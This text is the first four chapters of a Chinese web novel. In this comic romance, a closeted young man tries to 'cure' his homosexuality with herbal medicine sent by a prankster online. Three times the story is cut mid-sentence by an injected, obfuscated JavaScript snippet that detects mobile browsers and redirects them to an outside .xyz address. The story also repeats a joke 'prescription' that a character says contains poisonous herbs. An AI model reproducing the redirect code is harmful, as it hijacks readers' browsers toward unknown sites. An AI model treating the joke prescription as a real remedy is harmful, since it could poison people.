《我喝中药调理好了》 1. 第 1 章 S市中心高楼林立,商场、工作楼比肩接踵,鼓着劲攀比哪栋楼楼层最高、最能创造收益。都市丽人穿时髦的奢侈品牌服装,带着墨镜挎着包,手里拿杯加冰块的黑咖啡,踩八厘米的小高跟从商场负一楼的地铁口出来,绕了几圈,终于找到一面爬满凌霄花的红墙。和小伙伴一起拍上几张照片,都来不及回商场坐着,干脆站在原地快速p一下,确定每一张照片都是美美的,才心满意足发到社交媒体上。 “S市小众宝藏打卡点,市中心这栋居民楼实在太有氛围感啦!喜欢Citywalk的姐妹们都看过来!” 隔着布满凌霄花的红墙,老旧居民楼里,男人瘦弱苍白,穿毫无版型又老又土的白衬衣,鼻子上架着同样老土的黑框眼镜。他低着头,后颈骨头似乎能冲破皮肤突出来,冰山般洁白嶙峋。 这栋楼实在太老旧,窗户都开始泛黄,夕阳照过来撒下满地橘黄,空气中的尘埃静静飘着,被空调风吹到男人身上。 黑框眼镜折射着手机屏幕的绿光,男人似乎有些紧张,但实在走投无路,只能移动手指打完这句话,迅速扫一眼确定没有错字,闭眼点击发送。 他没有连单位的WiFi,手机信号不错网速很快,帖子迅速上传。 “男,二十五岁,最近发现自己是个同性恋,有人知道这个怎么戒掉吗?” 帖子顺着网线,被大数据推送给其他用户。 而同一空间内,打印机的声音响起,主任李玉娟安排:“小闻,我打印了文件,你给大家发下去,顺便看看怎么写个公众号文章,给大家宣传最新政策。” 心脏快速跳了下,刚刚还在看手机的男人迅速按灭手机,抬头起身:“好。” 闻根把文件都拿出来,一张张发给办公室的同事。 主任还在问:“之前我们说试试新潮流,弥补一下和当代年轻人的代沟,开个小红书账号宣传我们的工作成果,小闻最近学了没?” 闻根推推眼镜,声音有些虚:“学了。” “好,我就知道小闻干事踏实,跟其他小年轻不一样,一点都不浮躁。” 李主任不知道第多少次夸闻根,“还是我们单位唯一一个年轻人,以后新媒体运营这事啊,都得靠小闻了。” 闻根分发完文件,不知道怎么回答,但还算自然的对主任笑了下,回到自己办公桌前坐下。 快速扫完文件了解政策,脑子里出现编辑公众号文章的详细步骤。闻根一边打开电脑,一边又解锁手机,打开自己刚刚发的帖子。 他的心跳又快起来,好像在一条确定会见鬼的路上见到了唯一一丝光亮,不确定能不能救下自己,所以异常紧张,恨不得冲破胸膛飞出来马上知道答案。 ——变成同性恋对闻根来说,确实也是非常恐怖、确定会见鬼的一条路。 闻根此人,爹妈都是本地人,一个体制内一个大学教授,家庭教育从小就是“普普通通就好”。 和他做对照组的有一个堂哥,堂哥爹妈年轻时下海经商,破产过有钱过,一家人烈火烹油轰轰烈烈,堂哥从小就张扬肆意,甚至还尝试在高中时期带书呆子闻根逃课打游戏。 但闻根还没来得及学坏,堂哥就头铁和家族所有人出柜,并在和男朋友一起尝试极限运动时,发生意外去世了。 有了对照组不幸结局的对比,闻根爹妈更加小心翼翼的照看儿子,千叮咛万嘱咐。 “家里不求你大富大贵不求你出人头地,你正正常常普普通通就好。别想着追求时髦搞些乱七八糟的,和所有正常的普通人一样,该干什么就干什么,就算什么都不做也没事,爹妈养你。但千万不要搞些乱七八糟的。” 同性恋是乱七八糟的。 不好好过日子追求刺激也是乱七八糟的。 一切会让人肾上激素飙升失去理智的东西都是乱七八糟的。 于是闻根就和所有正常普通人一样。 该上学的时候上学,在学校好好学习,以正常的成绩上正常的学校,并在学校期间始终保持单身。研究生毕业后考编成功,在家门口的社区当社工。 现在二十五岁,S市本地独生子,家里有车有房有存款,还有个正经带编制的工作,闻根爹妈认为正常普通人这时候应该谈恋爱,并在两年后和稳定恋爱对象考虑结婚。于是给他下达指令,让找个S市本地正常普通女孩恋爱。 正常普通的闻根也知道,自己正常普通的一生就应该这样。 找一个与自己同样正常普通的女孩,恋爱两年后结婚,生一个正常普通的宝宝,过着和自己父母一样一眼就望到头的正常普通生活。 但他的正常普通生活和正常普通规划,在上周被打破了。 ——上周,主任提出想要运营他们的小红书账号,宣传社区工作成果和最新政策安排。让单位唯一一个三十岁以下的年轻人,闻根,去了解下平台怎么注册账号,怎么运营才能得到更多关注。 于是闻根第一次在手机上下载了除学习和必要社交外的软件,并花时间刷了刷,试图了解推送机制。 然后…… 那天发生的一切还历历在目,闻根眼里流露出挣扎和自责,好像被恶鬼蛊惑,在本能和理智间来回拉扯。 最终本能获胜。 闻根点进小红书。 有三十多条未读信息,他却没点开看,而是迎着恐怖直面最初遇到的那只鬼。 他熟练找到黑名单,点开唯一一个拉黑的用户。系统提示你已拉黑对方,看不到对方动态。 闻根看着空白页面的系统提示,活像烟瘾犯了的人终于找到烟和打火机,就打算吞云吐雾快活一番,却看到“此处禁止吸烟”的牌子,内心短暂挣扎。 最后还是解除拉黑,刷新。 名叫“Qamar”的用户有二十多万粉丝,在今天上午又更新了一条视频。 闻根点开最新更新。 日常健身vlog,一些散碎片段,吉光片羽般飞快闪过的实况照片里,白色背心被汗水打湿,湿漉漉贴在身上,露出男人紧实的肌肉线条。而下一张里,男人边走边对着镜子撩开背心,小麦色的六块腹肌,鲨鱼线性感撩人,一滴滴汗水滑下来,淌过腹肌沟壑,最后淹没在灰色运动裤里,留下片深灰色印记。 整个视频没露过脸,甚至没露过肩膀以上的部位。但不管是健身时湿漉漉反光的汗水,还是穿正装时悍挺的身材,都是扑面而来的男性荷尔蒙。 闻根紧紧盯着手机,不着痕迹轻喘两声,最后咬紧牙根退出视频,再次拉黑对方。 是的。 上周,正常普通的闻根随意刷着小红书,试图了解一下推送机制。结果诡计多端的大数据,给他推了个“擦边男”。 闻根一眼看过去只注意到tag是#日常#饮食#健身,点开一看,健康自制的男人早上七点起床,先健身半小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716865|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时。 第一个关闭闹钟的画面闪过后,第二个画面就是男菩萨只穿着灰卫裤,在跑步机上跑步。 刚起床时并不明显的肌肉线条,但依旧能看出肩宽腿长的好身材,甩臂时背肌鼓起,隔着运动背心,能看到肩胛骨上蓝色蝴蝶纹身,一大一小,随着每一次动作翩翩起舞。 闻根莫名其妙点击主页,花三个多小时,看完了对方两百多个vlog。 擦边男不露脸,自由工作者上班时间并不固定,肩膀有蝴蝶纹身,平时爱好健身、搞穿搭、喝酒,生活自由又潇洒,是和自己完全不同的人。 闻根不知道自己为什么要对一个脸都看不到的男人这么用心,但就是看完了所有vlog。 当天晚上,梦里都是对方起起伏伏的背肌,肩膀那两只蝴蝶纹身,还有对方肌肉上那只不停游走的手——自己的。 即使第二天醒来,大脑好像还残存着昨天抚摸对方肌肉时的愉悦,手心好像还能感觉到对方身体的温度。 越发显得醒来后只剩自己一个人的房间多么空荡冰冷,连空气都变得寡淡无味。 ——闻根正常普通的生活,就这样终止了。他意识到,在一眼就能看到头的普通生活道路外,一条布满黑暗和荆棘的可怖道路,缓缓铺开。 而他唯一能做出的挣扎,就是在意识到这点后,拉黑了这条道路的开掘者Qamar。 但一点都没用。 且看他现在依旧没搞明白大数据推送机制,没搞明白怎么设计图文,没搞明白怎么吸引粉丝,只把解除拉黑的步骤弄得这么熟练就大概能知道他这几天都在干嘛。 拉黑,解除拉黑接着看,意识到自己在做什么后再次拉黑,却在下一次打开小红书后再解除拉黑接着看…… 这样的循环进行了无数次,闻根终于在今天,做了循环外的另一件自救。 就是发帖询问,如何戒掉同性恋。 希望神通广大的网友能给出切实可靠的回复,让他早日从循环里挣脱出来,戒掉同性恋,接着回到自己正常普通的生活。 把Qamar再次拉黑后,闻根点开点开未读信息。 = 阕开霁把昨天的vlog上传,刷新页面。 没理会弹出来的未读消息,倒是先看到个最新发布的帖子。配图言简意赅。 “男,二十五岁,最近发现自己是个同性恋,有人知道这个怎么戒掉吗?” …… 都什么年代了还有这种恐同深柜,不知道同性恋是天生的吗。 阕开霁点进去,打字科普:“戒不掉,接受事实吧,可悲的男同。” 点击发送。 没发送成功。 系统弹出提示,你已被对方拉黑,无法发出评论。 ?? ???? 如果自己把评论发出去,他觉得无法接受怒而拉黑自己,当然也是正常的。 但自己还没发评论,他为什么拉黑自己? 莫名其妙的死男同。 内心的小火苗唰一下烧老高。 阕开霁切换小号,改名、搜索关键词找到刚刚的帖子,迅速打字发送,评论发布。 = 未读消息,收到的评论。 最新一条评论。 “AAA中药世家继承人”评论了你的笔记。 ——“喝点中药调理一下。” 2. 第 2 章 三十多条评论,除了这个“AAA中药世家继承人”的“喝点中药调理一下”,其他用户基本都是—— “躺平吧,性取向天生的,戒不了。” “没关系,男人过了三十就会自动变直,熬过这五年就好了。” “女,二十一岁,最近发现自己是同性恋,有人知道这个怎么找女朋友吗?” “好新的文案,没见过,韩了。” 闻根有点看不懂这都是什么意思,最终还是把注意力放在那句“喝点中药调理一下”上。他这才发现,短短的两分钟,这句话已经有了五个点赞。 结合对方“中药世家继承人”的id,闻根松了口气,觉得喝中药调理一下或许就是切实可行的回答,他诚恳回复:“请问是直接去中医院询问医生吗?” 收到回复的阕开霁:“……” 这莫名其妙拉黑自己的死男同是真不懂还是装傻? 他点进死男同默认粉红头像,私聊:“不用,我这边有现成的药方。直接给你。” 闻根心中一喜,就连黑框眼镜后的死鱼眼都忍不住弯了弯:“谢谢!” 世上还是好人多。 这个网友格外好心,虽然是中药世家继承人,却没有一点架子,也不歧视自己是个同性恋,甚至愿意给自己现成的药方。省去自己要去医院看病时的羞窘和暴露的风险——去医院看病时医院会存有记录,这无疑是对自己正常普通生活的破坏。总之,能不去医院就直接有现成的药方,实在是太好了。 电脑已经打开公众号文章编辑页面,他却根本没在意,只低头等待着信息提醒。 对方很快发过来一个药方。 “柏子仁二钱半、白蔹二钱、白术三钱半、桂心一钱半、附子一钱,三碗煮一碗,每天喝一副,十天就完全调理好了” 闻根认真看药方,如所有对医嘱极其上心的病人一样,恨不得把每一味药都牢牢记下。还要问医生:“我可以直接拿药方去中医铺拿药吗?” 阕开霁:“……” 不是,这是真不懂还是装的? 他反问:“那我包好了给你寄过去?” 两秒后新消息弹出来。 “可以吗?谢谢!” “但这样实在太麻烦你了,我们加个微信吧,我把钱给你!” 阕开霁:“……” 不是,你小子还挺懂人情世故啊。 下一刻,momo又发过来一串数字:“这是我的微信号,你加我吧。” 闻根很快收到了好友添加申请。对方的备注是“小红书中药世家继承人”。 闻根马上点了同意,等聊天页面弹出来,马上发了个握手的表情包。 阕开霁看着那个老土的握手表情包,再看看对方“平凡小闻”的微信网名,严重怀疑帖子的真实程度。 这是二十多岁男人会用的网名表情包?这么老土。 还是根本就是在玩抽象? 点开平凡小闻标准证件照的头像,又确定,就是个二十多岁的男人。甚至看上去还不到二十五岁,白衬衣黑眼睛死鱼眼,扔到人群里根本找不到的普通年轻人。应该就是那种游戏里的NPC,每个人从小到大都会遇到,但从来不会有人费心记住的人,老实到死板,上学的时候是书呆子,上班了是社畜,最大的起伏就是晚上网易云复制个emo文案,在网上玩玩抽象。 在阕开霁挑剔评价闻根的头像甚至他整个人时,闻根也在看中药世家继承人的头像。 是漆黑的夜晚,暗流涌动的大海,海上两只翩迁起舞的蝴蝶。夜色和海面连成一线,都是浓黑。只有那两只蝴蝶身上带着细细的闪,是唯一的亮色。 闻根一下就想到Qamar肩膀上的蝴蝶纹身。 和纹身一起出现在脑海里的,是大片肌肉。 闻根缓缓闭眼,又飞快抬头试图把这些画面赶出去。手指在键盘上随便敲了几下,在公众号文章编辑页面打了几个不知所以的字,定睛一看又一一删掉。 下班时间到了,同事陆陆续续开始收拾东西:“下班吧,没做完的活明天再来做。” 闻根应一声,把充电器和耳机装到包里,人还是没动,又低头看手机。 中药世家继承人把他刚刚发过去的那个握手表情包重新发回来了。 同时还有一句话:“地址。” = 闻根爹妈名下都有房,后来他爹名下的房子拆迁,除了一些赔偿金外,还有三栋安置房。他爹妈留一套给他当婚房,早早装修好了。 闻根毕业后就自己住在这栋市中心已经装修好的三室两厅里。 他给中药世家继承人的,也是这个地址。 当天晚上,闻根就收到对方闪送过来的包裹。拆开盒子,里面是大的纸包,再把纸包拆开,就是一小包一小包的中药,带着药材的清苦。 没想到这么快,闻根既激动于早点拿到药就能早点调理好,又感动于中药世家继承人的办事速度。 多好的人啊,自己就是个和他无亲无故的陌生人,他不仅给自己药方,还这么上心,这么快就抓好给自己送过来了。 他拍了张照片,发给中药继承人:“三碗煮一碗直接喝吗?” “多少钱,我把钱给你。” 加班到现在,精疲力尽脑瓜子突突疼的阕开霁注意到旁边亮起屏幕的手机,拿起来一看,是平凡小闻。 他一边打字回复:“不是,给你换药方了。你直接用清水煮开直接喝就好。” 意识到什么,他问助理,“下午让你拿的凉茶药材,已经送到了?” 助理:“嗯,同城,我直接闪送送过去了。” 同城。 两个字在脑海里一闪而过,但阕开霁也没觉得同城会有什么故事。反正大家就是玩个抽象,同性恋根本没法治,自己给他拿了清热去火的凉茶方子,他乐意喝就喝,反正喝不出毛病,不乐意喝也没事。就这么一点钱,对他还没一点帮助,自己还问他要钱就很不应该。 “不用了,你先喝点试试。” 闻根烧水把药煮上,看到这条信息,又是感慨自己真是遇到好人了。 他感激:“好,好了的时候我一定把诊费和药费都给你!” 中药世家继承人没回复了。 他又点进小红书,点进去的时候是想着学习一下起号方法的,但点进去后,忍不住又打开黑名单,看着唯一一个拉黑的用户,手指按在上面,满心犹豫。 锅里的水还没煮开,中药味道并不浓郁,轻飘飘萦绕在鼻尖。 闻根嗅着这个味道,再三告诉自己,要戒掉,要戒掉,要戒掉。自己都开始喝药调理了,这时候更需要顽强的意志力! 手指还是点进去,很有自己想法的把Qamar解除拉黑,熟练往下翻,翻到对方去年十一月发的一条视频。 ——如果小红书有播放视频排行榜,这一条VLOG一定一遥遥领先的排第一。从第一天刷到Qamar并开始看这个人的视频开始,闻根不知道把这一条视频看了多少遍。 虽然他自己都说不清是为什么。 这一条是在五个月前的初冬。 Qamar外出采风,自己开着越野车穿过山地、浅溪,摄像头只拍到他上半身,黑色冲锋衣把肌肉健硕的上半身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716866|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衬得那么清瘦。车开得很快,背景不断后撤,镜头突然摇晃,原来是越野车从乱石堆里开下去,轮胎落下,又快速往前,石堆里的清水溅起,有两滴落在手机上,模糊了画面。 和之前每次看到这个画面时一样,闻根感觉到自己的心脏也跟着镜头摇晃,脑子过电般一阵阵酥麻。心悸和酥麻褪去,就只剩遗憾和失落。 如果自己也在这个画面里就好了,坐在副驾,看越野车开到最高,又一路冲下去,溪水溅起落在自己脸上,会是什么感觉呢? 但再想起下,闻根又会摇摇头把这些想法都甩出去。 太危险了,不管是单独一个人开着越野车去野外采风,还是这么开车,都太危险了。 自己是个正常的普通人,普通人都不会做这种事的。 自己看看就好了。 不对。 自己也不能看了。 普通人也不会当同性恋。自己不能当同性恋。 闻根再次把Qamar拉黑。 这才发现自己多了几百条未读消息。 他点进去一看,才发现自己的图文火了。不过才发出去四个多小时,浏览量足有三万,点赞两千多。 他不太明白这个浏览量和点赞比怎么样,但点进去一看,“AAA中药世家继承人”那条评论现在在评论区第一行,点赞有一万七。 一万七…… 相当于看到自己这条图文的一半人都给对方点了赞。 是很赞同对方的“喝点中药调理一下”的意思吗? 闻根点开底下回复。 “对,我之前也是男同,喝中药调理好了。” “也算是给你小子遇到神医了,出院指日可待!” “神医终于又找到你了!我之前也是男同,就是喝您给的药方喝好了!我现在还记得这个药方,博主需要的话自取:柏子仁二钱半、白蔹二钱、白术三钱半、桂心一钱半、附子一钱,三碗煮一碗,每天喝一副,十天就完全调理好了。” 原来有这么多人喝中药调理好过啊。 而且这个人也是这个中药世家继承人给的方子,喝十天就完全好了。 不过现在自己的药方换了。 闻根把那个之前给自己但后来又换掉的药方截图,发给中药世家继承人,诚恳且好学:“神医,这个患者喝的就是你之前给我的那个药方,他说他十天就好了。” 阕开霁:“……” 那是我们复制了同一个抽象文案。 不是,你完全没意识到这是抽象文案吗?也根本没发现那个药方里都是些毒药吗? 闻根不想让神医觉得自己不信任对方,但实在是好奇又急于赶紧调理好,所以还是鼓起勇气问:“怎么突然给我换药方?我喝现在这个药方,多久能好啊?” “因人制宜。” “这个药方先喝半个月看看。” 因人制宜根据不同的症状开不同的药方,听起来非常可靠。 闻根期待:“神医,你治好过很多同性恋吗?” 阕开霁:“……” 他回答:“还好。” 明明这么多网友都说是被他治好的,这么可靠还这么谦虚。 闻根对他更加信服,保证:“我会好好调理的。” “对了,我看还有很多人和我有同样的困扰,可以把我的药方分享给他们吗?” 阕开霁:“不行,大家的有病程度不一样,需要对症下药。” 闻根:“好,都听神医的。” 阕开霁:“……” 他拿不准对方到底是抽象那是真信了,只能说,“喝药去吧。” 3. 第 3 章 闻根当天晚上就给自己煮了一大壶的中药,很难喝。 但想到自己需要调理,他捏着鼻子咕噜噜喝了大半壶。 晚上起来上了两次厕所。 睡眠质量下降,但他一想想自己喝了药,可能很快就调理好了,心里充满安定。 第二天早起,他又给自己煮了一大壶,在家喝了很多,剩下的则用保温杯装好带到单位。干活前,先给中药世家继承人发消息:“神医,我觉得您给开的药非常有用,我现在觉得神清意净浑身充满干劲。” 一直到晚上,中药世家继承人才回复他:“真喝了?” 闻根想到中药苦涩复杂的味道,脸色些许僵硬。他拧开保温杯,给剩下的一点中药拍照,发给对方:“真喝了。” “难喝吗?” 闻根:“非常难喝。” 阕开霁看着这条消息,再看看平凡小闻头像上那双死鱼眼,好像能看到对方就站在自己面前,垮着脸说非常难喝的样子。 虽然这死男同莫名其妙拉黑自己,但都让他喝了非常难喝的凉茶,也算报复回来了。 阕开霁大度:“那就别喝了。” 闻根大惊失色:“为什么?不治了吗?” 想到变成同性恋,从此和普通生活再无关系,难以下咽的中药好像都美味起来。 脑海里闪过昨天看到的一条评论,他打字央求:“我觉得我还能抢救一下。” 阕开霁:“……” 这句话是个梗吧?所以平凡小闻在玩梗? 摸不准。 他强调:“别喝了,中药也调理不好,男同过了三十就自动变直。” 闻根数学很好:“我现在二十五岁,这五年就没有一点办法只能硬熬吗?” 阕开霁:“没办法,等三十岁自动变直吧。” 闻根无助:“我觉得我还能抢救一下。” 他又点去小红书,找到昨天那些在“AAA中药世家继承人”评论下面表达感谢的回复,截图发给中药世家继承人:“他们都喝中药调理好了。” “神医,我会坚持下去的。” 阕开霁:“……” “别喝了,那么难喝。” 闻根看了别人的评论,涌起无尽的信心。他坚定:“我会把这一疗程喝完的。” 行吧。 反正就是些清热去火的凉茶,乐意喝就喝吧。 神医不说话了。 闻根放下手机,再猛喝两大口保温杯里的中药。 隔着办公桌,对面三十多岁的大姐轻嗅,有些疑惑的问:“小闻是不是在喝药?今天总闻到一股药味。” 闻根被猛然刺中,不知道对方怎么闻到的,会不会猜到自己为什么喝药。但性格原因又实在不会说谎,只能闷声踟蹰:“嗯……” 大姐关心:“怎么了?” 闻根:“就……调理一下。” 大姐:“也是,最近入秋了天气干燥,煮个金银花什么的喝一点,也挺好的。” 自己喝的不是金银花,而是调理同性恋的药。 闻根含糊:“对。” “现在这么注重养生的年轻人可不多了。” 大姐随意说着,想到什么,来了劲,“对了小闻,你还是单身对吧?我有个在中医院做护士的外甥女,和你差不多大,你……” 自己是个同性恋,现在才刚开始喝药还没调理好,怎么能和女生发生什么?而且对方还是中医院的护士,万一从自己喝的药里察觉到什么,那自己的不正常就要大白天下了! 闻根连忙摆手:“姐,我……谢谢,但是,不用。” 其他同事也笑:“现在年轻人谁还通过同事介绍相亲啊,不都是自由恋爱吗?你和老公也是自己谈的,怎么现在这么老土还给人介绍对象。” “对啊,而且人不是才毕业一年,还这么小。这么着急干什么?” 大姐:“也不是想让他俩相亲,就是俩人都单身,介绍着认识一下,就算没感情,交流下养生经验也挺好啊。再说,我觉得小闻挺好,认真踏实性格又好,是比不上外面那些油嘴滑舌爱卖弄皮相的小混混招女生喜欢。但就是老老实实过日子的好人选,咱们都是普通人,普普通通过日子不就好了。” 又看闻根,“真不用?” 闻根再次摆手:“不用,我暂时……” 暂时还是个一点都不普通的男同性恋,还没调理好,没办法和女生过日子。 = 虽然变成同性恋非常可悲,但闻根并没有讳疾忌医。 中药是一直都在喝的,每天早上煮上一大壶,装到保温杯里带去单位,一喝一整天。 即使中药世家继承人没问,他也用备忘录认认真真记下自己的变化,想等到这个疗程结束,可以直观的通过记录看出自己调理了多少,有利于下一疗程的调理。 比如喝完两天药,他不会再梦到Qamar,白天也不会想入非非、在每一个无聊的时候都想到Qamar的vlog。 比如喝完五天药,他虽然还会每天把Qamar解除拉黑查看更新,但不会再重复看Qamar之前的vlog,而是看完当天的更新后马上就把Qamar拉黑。 再比如…… Qamar好像有事,连着两天没有更新。 第一天看到Qamar视频时那种心悸再次出现,还带着要把心烧成灰的焦躁。 闻根连着两天都心不在焉,甚至忘了把Qamar拉黑,一旦有空闲时间,就摸出手机刷新Qamar的主页。 但Qamar始终没更新。 闻根就像一个积极戒烟的人,一边转移注意力一边努力戒烟,但真有一天发现自己藏起来的烟丢了,没多少感激和庆幸,反而满是怅然。 这天又值班到九点,回家路上,他再次刷新Qamar主页,确定对方就是没有更新,又被自己现在内心深处的怅然和空寂弄得更加心烦意乱,有种得知自己病深入骨无药可救的绝望。 他发消息给中药世家继承人:“神医,我前几天觉得自己就快好了,但这两天又不行了。” “这病是不是还会反复。” 神医可能很忙,并没有回复他。 闻根更觉得自己无药可救,收起手机,双眼无神缅怀自己逝去的普通正常生活。 他家离单位很近,很快就到家了。 和之前一样,他到小区楼下,等电梯、上楼,走到自己家门口。 从包里翻钥匙的时候旁边的门突然开了,闻根下意识偏头看过去。 ——前年他在老家备考,他爹妈忙着给他这栋房子买家具,偶然和他提起隔壁正在装修可能会有人搬进来。但一年多来隔壁都没人,没想到现在有人住了。 自己的新邻居是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716867|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么样的人呢? 隔壁的门打开,新邻居走出来。 闻根先嗅到一股很甜的桃子香味,眼睛才捕捉到散落到肩膀的棕色长发,还有束起长发的蝴蝶结头绳。 邻居关上门,侧身看过来。 额头饱满眉弓立体眼窝深邃,皮肤白得不像样子,侧脸弧度起伏如雪山。 偏偏又不是纯白的。 眉毛是和头发一样的深棕色,眼睛梅雨天一样的灰蓝色,而高挺的鼻梁下,是玫瑰花瓣般浓墨重彩的红。 注意到他的视线,对方看过来,客气礼貌的颔首算招呼。 有几缕深棕色头发滑下来,贴在唇边,又被主人很快拨开撩到耳后。 那瞬间所有的一切都抽离,闻根只看到对方雪山般圣洁的皮肤、开到最盛的玫瑰般的唇瓣,在对方转身后,才后知后觉听到自己擂鼓般的心跳。 = 花了两天的时间搬家,还没把新家收拾好,几个朋友就闹着要庆祝乔迁之喜。 家里没东西招待来客,干脆就约在外面。 出门时还撞见了新邻居,白衬衣黑框眼镜,看上去就是个普通老实的社畜,可能是太普通了,莫名带些种熟悉感。 但阕开霁眼神太好了,一眼看过去,还是注意到他优越的骨相,黑框眼镜后眼角那颗不甚明显的泪痣,还有系到最上面一颗纽扣的衬衣后修长脖颈和布料下线条好看的平直锁骨。 换个发型改造一下会挺帅。 那个脖子和锁骨,不管是戴choker还是项链,都会很好看。 这些优越的条件又让他看起来并不普通。如果自己真见过这么优越又普通,充满矛盾的人,大概率会记住。 但偏偏自己又没什么具体印象。 几个朋友随便吃了饭,又去酒吧喝酒,凌晨两点多才散场。 是常客了,酒吧工作人员送他们回去。 阕开霁看车窗外熟悉的风景,被酒精泡软的脑子闪过什么。 他开口告诉司机:“不是,不去之前那里,我今天刚搬新家。” 工作人员有些诧异,先祝福他搬家,又把车停到一边,问:“那您现在住哪儿?” 阕开霁揉揉太阳穴,实在没想到这栋买了好几年的房子在哪个小区,摸出手机翻看自己和搬家公司的聊天记录,确定:“云景水榭。” 工作人员导航定位,接着开车。 而阕开霁点开小号的信息提醒。 “平凡小闻”发过来的信息。 最后一条是:“我真的调理好了。” 阕开霁:“……” 他忍不住点开聊天页面,查看全部消息。 “神医,我觉得我调理好了。” “我好像喜欢上女人了。” “不对,我就是喜欢上女人了。” “那个患者说他喝十天就好了,但我这个药方只喝了七天就调理好了,您真的很厉害。” “对了,您给开的药还有七天的,我接着喝光确定彻底调理好了吧。还有,诊金和药费多少钱啊,我现在都好了,把钱付给您吧。” “神医?您还在忙吗?” “我真的很激动,真的没想到。” “我真的调理好了。” ??? ???? 同性恋真能喝中药调理好?广东凉茶还有这么神奇的功效? 4. 第 4 章 虽然没醉,但喝这么多酒还是有点迷糊,阕开霁微微眯眼看清所有消息。 又意识到什么,把目光放到平凡小闻的头像上。 白衬衣黑框眼镜死鱼眼。就是一个极其普通的人,就像游戏里的NPC,一点都不引人注意。 但一眼看过去,呼之欲出的熟悉感。 好像不久前也看到这样的白衬衣这样的黑框眼镜,但不是死鱼眼,而是内双桃花眼、眼下泪痣,和衬衣下形状好看的锁骨…… 自己的新邻居。 阕开霁忍不住往上翻,看平凡小闻发给自己的地址。 云景水榭C栋703。 而自己给搬家公司的新家地址,是…… 云景水榭C栋704。 是自己新邻居。 在网上拉黑自己和自己玩抽象,其实现实世界里朝九晚五上班族。 现在对女人一见钟情,是新剧情,还是真有喜欢的人了? 被酒精侵蚀的大脑很是混乱,阕开霁想到刚刚惊鸿一瞥看到的新邻居,打字:“恭喜啊。” = 普通人闻根有很普通的作息。 一般来说,他晚上五点半下班,之后回家吃饭,看会儿电视剧综艺小说,晚上十点洗漱睡觉,争取在十一点前入睡,以便第二天早上七点起床。 但今天,他失眠了。 一闭上眼,脑海里全是自己的新邻居。 面部轮廓深邃,骨骼感重,再加上灰蓝色瞳孔,应该是混血。 有公主一样的美丽面孔,公主一样丝绸般的长发,还喜欢公主一样的蝴蝶结。 调理好了的激动和一见钟情的心动掺和在一起,他好像跑了马拉松,身体完全不知疲惫,叫嚣着喜悦。 这对闻根来说实在是过于激烈的情绪,完全不知道如何排解,只能躺在床上,如石头等待暴风过去一样,一动不动的等情绪平复下来。 这时,手机响起。 他马上拿起来,看到中药世家继承人的回复。 他打字:“神医,你还没睡啊。” “嗯。” “刚忙完吗?当医生实在是太辛苦了。” 阕开霁:“……” “还好。倒是你,怎么还没睡,明天不上班吗?” 神医都这么辛苦了还关心自己,不愧是医者仁心啊。 闻根羞涩,但一本正经实话实说:“想到自己调理好了,有点激动。” 阕开霁:“……” 酒吧工作人员停车,客气:“哥,到了。” 阕开霁道谢,下车。 心不在焉给闻根发消息:“早点睡吧,明天还要上班。” 闻根又问:“神医,你还没有告诉我诊金和药费。” “不用给了。” “不能不给,你帮助了我很多。” “没事,就当是缘分。” 闻根再次感慨。 对方真是个好人啊。 对方说不要,但自己不能真的不给。 闻根想到闪送过来的药包上的药房地址,想买些礼物和锦旗送过去。 他问:“神医,你是男的还是女的?” “男的。” “你有什么喜欢的东西吗?” 酒吧里的热闹喧嚣好像还在耳边回荡,那么多人玩着游戏就亲在一起,眼波流转间都是暧昧。 想到平凡小闻不知道是真是假的“男同”“调理好了”,想到从小到大不枚胜举的追求者,阕开霁警惕:“我不是男同。” 闻根一开始也没觉得神医会是男同。他都帮自己和那么多人调理好了,如果自己也是,当然也一早就调理好啦。 但看到阕开霁这么说,总觉得自己被误会了。 他解释:“我知道你不是男同。” 又不是很高兴的强调,“我现在也不是,我有喜欢的女生了。” 阕开霁:“哦,那你加油,一步到位拿下喜欢的女生。” 好像有一条布满鲜花充斥着桃子甜香的道路在闻根面前徐徐铺开,他一阵恍惚,控制不住抬脚:“可以吗?” 同事大姐说自己比不上外面那些油嘴滑舌爱卖弄皮相的小混混招女生喜欢。 但对面神医很快说:“可以,你试试。” 情绪被深夜放大无数倍,又被对面这么一怂恿,闻根控制不住跃跃欲试。又纠结:“我……太普通了,不知道怎么试。” “没事,真诚就是杀必。” 闻根:“……” 他纠正,“您的意思是,真诚就是必杀吧?” “都一样。” 平凡小闻在这方面实在太有优势了,这张脸说再抽象的文案看起来都像真心话。 对面的神医,无私告诉自己调理同性恋药方,大方免费给自己药材,鼓励自己勇敢追爱。虽然把必杀发错了,但神奇的汉字就算顺序反转也没关系,不影响自己理解神医的本意。 